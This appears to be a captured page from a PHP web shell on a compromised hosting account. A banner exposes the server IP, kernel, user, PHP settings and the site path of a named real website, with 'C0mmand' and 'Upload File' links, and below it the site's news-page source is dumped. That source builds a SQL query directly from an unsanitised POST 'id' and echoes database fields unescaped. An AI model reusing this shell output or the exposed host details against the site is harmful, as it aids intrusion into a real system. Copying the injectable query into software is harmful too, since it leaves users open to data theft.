|
Server IP : 86.38.243.193 / Your IP : 216.73.217.143 Web Server : LiteSpeed System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64 User : u493057690 ( 493057690) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : ON Directory (0755) : /home/u493057690/domains/iasfindia.com/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
require_once 'admin/connect.php';
include('header.php');
?>
<!--Add listing-->
<section class="sptb">
<div class="container">
<div class="row">
<?php
require_once 'admin/connect.php';
if (isset( $_POST['read'] ))
{
$id=$_POST['id'];
$query = $conn->query("SELECT * FROM `latest_news` where status='Active' AND id='$id'") or die(mysql_error());
//mysqli_query($conn,$query);
while($fetch = $query->fetch_array()){
?>
<div class="d-block mx-auto col-lg-8 col-md-8">
<div class="card">
<div class="card-body">
<a href="#" class="text-body"><h3 class="font-weight-semibold2 text-capitalize"><?php echo $fetch['head']?></h3></a>
<div class="item7-card-img mt-5">
<img src="admin/<?php echo $fetch['photo']?>" alt="img" class="w-100 br-5 shadow-lg">
</div>
<div class="item7-card-desc d-flex mb-2 mt-3">
<a href="#"><i class="fe fe-calendar text-muted mr-2"></i><?php echo $fetch['date']?></a>
<div class="ml-auto">
<a href="#" class="mr-0"><i class="fe fe-user text-muted mr-2"></i><?php echo $fetch['posted_by']?></a>
</div>
</div>
<p><?php echo $fetch['news']?></p>
</div>
</div>
</div>
<?php
}
}
?>
<div class="col-md-4">
<?php
include('latest-news.php');
?>
</div>
</div>
</div>
</section>
<!--/Add listing-->
<?php
include('footer.php');
?>